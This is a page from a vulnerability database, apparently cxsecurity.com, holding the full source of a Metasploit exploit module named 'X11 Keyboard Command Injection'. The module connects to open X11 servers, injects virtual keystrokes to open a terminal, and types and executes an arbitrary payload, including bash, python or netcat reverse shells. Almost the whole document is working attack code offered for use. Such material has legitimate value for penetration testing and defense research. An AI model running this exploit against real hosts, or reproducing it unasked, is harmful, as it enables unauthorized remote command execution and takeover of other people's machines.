X11 Keyboard Command Injection

2015.10.16
Credit: xistence
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp KB_KEYS = { '1' => "\x0a", '2' => "\x0b", '3' => "\x0c", '4' => "\x0d", '5' => "\x0e", '6' => "\x0f", '7' => "\x10", '&' => "\x10", '8' => "\x11", '9' => "\x12", '(' => "\x12", '0' => "\x13", ')' => "\x13", '-' => "\x14", '=' => "\x15", 'q' => "\x18", 'w' => "\x19", 'e' => "\x1a", 'r' => "\x1b", 't' => "\x1c", 'y' => "\x1d", 'u' => "\x1e", 'i' => "\x1f", 'o' => "\x20", 'p' => "\x21", '[' => "\x22", '{' => "\x22", ']' => "\x23", '}' => "\x23", 'a' => "\x26", 's' => "\x27", 'd' => "\x28", 'f' => "\x29", 'g' => "\x2a", 'h' => "\x2b", 'j' => "\x2c", 'k' => "\x2d", 'l' => "\x2e", ';' => "\x2f", ':' => "\x2f", "'" => "\x30", '"' => "\x30", '`' => "\x31", '~' => "\x31", 'lshift' => "\x32", '\\' => "\x33", '|' => "\x33", 'z' => "\x34", 'x' => "\x35", 'c' => "\x36", 'v' => "\x37", 'b' => "\x38", 'n' => "\x39", 'm' => "\x3a", ',' => "\x3b", '<' => "\x3b", '.' => "\x3c", '>' => "\x3c", '/' => "\x3d", '*' => "\x3f", 'alt' => "\x40", ' ' => "\x41", 'f2' => "\x44" } def initialize(info = {}) super(update_info(info, 'Name' => 'X11 Keyboard Command Injection', 'Description' => %q{ This module exploits open X11 servers by connecting and registering a virtual keyboard. The virtual keyboard is used to open an xterm or gnome terminal and type and execute the specified payload. }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' ], 'Privileged' => false, 'License' => MSF_LICENSE, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'gawk bash-tcp python netcat' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'xterm (Generic)', {}], [ 'gnome-terminal (Ubuntu)', {}], ], 'DisclosureDate' => 'Jul 10 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6000), OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5]) ], self.class) end def xkeyboard_key req = "" req << @xkeyboard_opcode req << "\x05" # Extension minor: 5 (LatchLockState) req << "\x04\x00" # Request length: 4 req << "\x00\x01" # DeviceSpec: 0x0100 (256) req << "\x00" # affectModLocks: 0 req << "\x00" # modLocks: 0 req << "\x01" # lockGroup: True req << "\x00" # groupLock: 0 req << "\x00" # affectModLatches: 0 req << "\x00" # Unused req << "\x00" # latchGroup: False req << "\x00\x00" # groupLatch: 0 req << "\x00" # Undecoded return req end def press_key(key) req = xkeyboard_key req << @xtest_opcode req << "\x02" # Extension minor: 2 (FakeInput) req << "\x09\x00" # Request length: 9 req << "\x02" # Press key (Type: 2) req << key # What key to press req << "\x04\x00" # Unused? req << "\x00\x00\x00\x00" # Time req << "\x00\x00\x00\x00" # Root req << "\x07\x00\x07\x00" # Unused? req << "\x88\x04\x02\x00" # Unused? #req << "\x00\x01" # rootX: 256 #req << "\xf5\x05" # rootY: 1525 req << "\x00\x00" # rootX: 0 req << "\x00\x00" # rootY: 0 req << "\x00\x00\x00\x00" # Unused? req << "\x00\x00\x00" # Unused? req << "\x00" # deviceid: 0 req << xkeyboard_key req << "\x2b" # Opcode 43: GetInputFocus req << "\x00" # Unused req << "\x01\x00" # Request length: 1 sock.put(req) res = sock.get_once # Response should give 1 on first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}") end end def release_key(key) req = xkeyboard_key req << @xtest_opcode req << "\x02" # Extension minor: 2 (FakeInput) req << "\x09\x00" # Request length: 9 req << "\x03" # Release key (Type: 3) req << key # What key to release req << "\x04\x00" # Unused? req << "\x00\x00\x00\x00" # Time req << "\x00\x00\x00\x00" # Root req << "\x07\x00\x07\x00" # Unused? req << "\x88\x04\x02\x00" # Unused? #req << "\x00\x01" # rootX: 256 #req << "\xf5\x05" # rootY: 1525 req << "\x00\x00" # rootX: 0 req << "\x00\x00" # rootY: 0 req << "\x00\x00\x00\x00" # Unused? req << "\x00\x00\x00" # Unused? req << "\x00" # deviceid: 0 req << xkeyboard_key req << "\x2b" # Opcode 43: GetInputFocus req << "\x00" # Unused req << "\x01\x00" # Request length: 1 sock.put(req) res = sock.get_once # Response should give 1 on first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}") end end def type_command(command) # Specify the special keys which need to have shift pressed first to type specialkeys = '<>{}|"&()'.chars values = command.chars values.each do |value| key = KB_KEYS[value] # Special keys need a shift pressed to be typed if Regexp.union(specialkeys) =~ value press_key(KB_KEYS["lshift"]) # [lshift] press_key(key) release_key(KB_KEYS["lshift"]) release_key(key) # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase elsif value =~ /[A-Z]/ press_key(KB_KEYS["lshift"]) # [lshift] press_key(KB_KEYS[value.downcase]) release_key(KB_KEYS["lshift"]) release_key(KB_KEYS[value.downcase]) # All normal keys which are not special keys or uppercase characters else press_key(key) release_key(key) end end # Send an enter press_key("\x24") # [enter] release_key("\x24") # [enter] end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while not read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue EOFError end data end def exploit begin connect print_status("#{rhost}:#{rport} - Register keyboard") req = "\x6c" # Byte order (Little-Endian) req << "\x00" # Unused req << "\x0b\x00" # Protocol major version: 11 req << "\x00\x00" # Protocol minor version: 0 req << "\x00\x00" # Authorization protocol name length: 0 req << "\x00\x00" # Authorization protocol data length: 0 req << "\x00\x00" # Unused # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed") end # Keyboard registration req = "\x62" # Opcode 98: QueryExtension req << "\x00" # Unused req << "\x05\x00" # Request length: 5 req << "\x09\x00" # Name length: 9 req << "\x60\x03" # Unused? req << "XKEYBOARD" # Name req << "\x00\x00\x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "\x01" @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode else #puts res.inspect fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed") end req = "" req << @xkeyboard_opcode req << "\x00" # Extension minor: 0 (UseExtension) req << "\x02\x00" # Request length: 2 req << "\x01\x00" # Wanted Major: 1 req << "\x00\x00" # Wanted Minor: 0 # Retrieve the whole X11 details response res = send_msg(sock,req) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -") end req = "\x62" # Opcode 98: QueryExtension req << "\x00" # Unused req << "\x06\x00" # Request length: 6 req << "\x0f\x00" # Name length: 15 req << "\x00\x00" # Unused req << "XInputExtension" # Name req << "\x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed") end req = "\x62" # Opcode 98: QueryExtension req << "\x00" # Unused req << "\x04\x00" # Request length: 4 req << "\x05\x00" # Name length: 5 req << "\x00\x00" # Unused req << "XTEST" # Name req << "\x00\x00\x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "\x01" @xtest_opcode = res[9,1] # Retrieve the XTEST opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed") end req = "\x62" # Opcode 98: QueryExtension req << "\x00" # Unused req << "\x08\x00" # Request length req << "\x17\x00" # Name length req << "\x00\x00" # Unused req << "Generic Event Extension" # Name req << "\x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "\x01" @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed") end req = "" req << @genericevent_opcode req << "\x00" # Extension minor: 0 (QueryVersion) req << "\x02\x00" # Request length: 2 req << "\x01\x00" # Client major version: 1 req << "\x00\x00" # Client minor version: 0 # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end req = "" req << @xtest_opcode req << "\x00" # Extension minor: 0 (GetVersion) req << "\x02\x00" # Request length: 2 req << "\x02\x00" # Major version: 2 req << "\x02\x00" # Minor version: 2 # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed") end req = "\x65" # Opcode 101: GetKeyboardMapping req << "\x00" # Unused req << "\x02\x00" # Request length: 2 req << "\x08" # First keycode: 8 req << "\xf8" # Count: 248 req << "\x02\x00" # Unused? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed") end req = "" req << @xkeyboard_opcode req << "\x08" # Extension minor: 8 (GetMap) req << "\x07\x00" # Request length: 7 req << "\x00\x01" # Device spec: 0x0100 (256) req << "\x07\x00" # Full: 7 req << "\x00\x00" # Partial: 0 req << "\x00" # firsType: 0 req << "\x00" # nTypes: 0 req << "\x00" # firstKeySym: 0 req << "\x00" # nKeySym: 0 req << "\x00" # firstKeyAction: 0 req << "\x00" # nKeysActions: 0 req << "\x00" # firstKeyBehavior: 0 req << "\x00" # nKeysBehavior: 0 req << "\x00\x00" # virtualMods: 0 req << "\x00" # firstKeyExplicit: 0 req << "\x00" # nKeyExplicit: 0 req << "\x00" # firstModMapKey: 0 req << "\x00" # nModMapKeys: 0 req << "\x00" # firstVModMapKey: 0 req << "\x00" # nVModMapKeys: 0 req << "\x00\x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end # Press ALT+F2 to start up "Run application" print_status("#{rhost}:#{rport} - Opening \"Run Application\"") press_key(KB_KEYS["alt"]) press_key(KB_KEYS["f2"]) release_key(KB_KEYS["alt"]) release_key(KB_KEYS["f2"]) # Wait X seconds to open the dialog print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") Rex.sleep(datastore['TIME_WAIT']) if datastore['TARGET'] == 0 # Start a xterm terminal print_status("#{rhost}:#{rport} - Opening xterm") type_command("xterm") else # Start a Gnome terminal print_status("#{rhost}:#{rport} - Opening gnome-terminal") type_command("gnome-terminal") end print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") # Wait X seconds to open the terminal Rex.sleep(datastore['TIME_WAIT']) # "Type" our payload and execute it print_status("#{rhost}:#{rport} - Typing and executing payload") command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit" type_command(command) handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e print_error("#{rhost}:#{rport} - #{e.message}") ensure disconnect end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top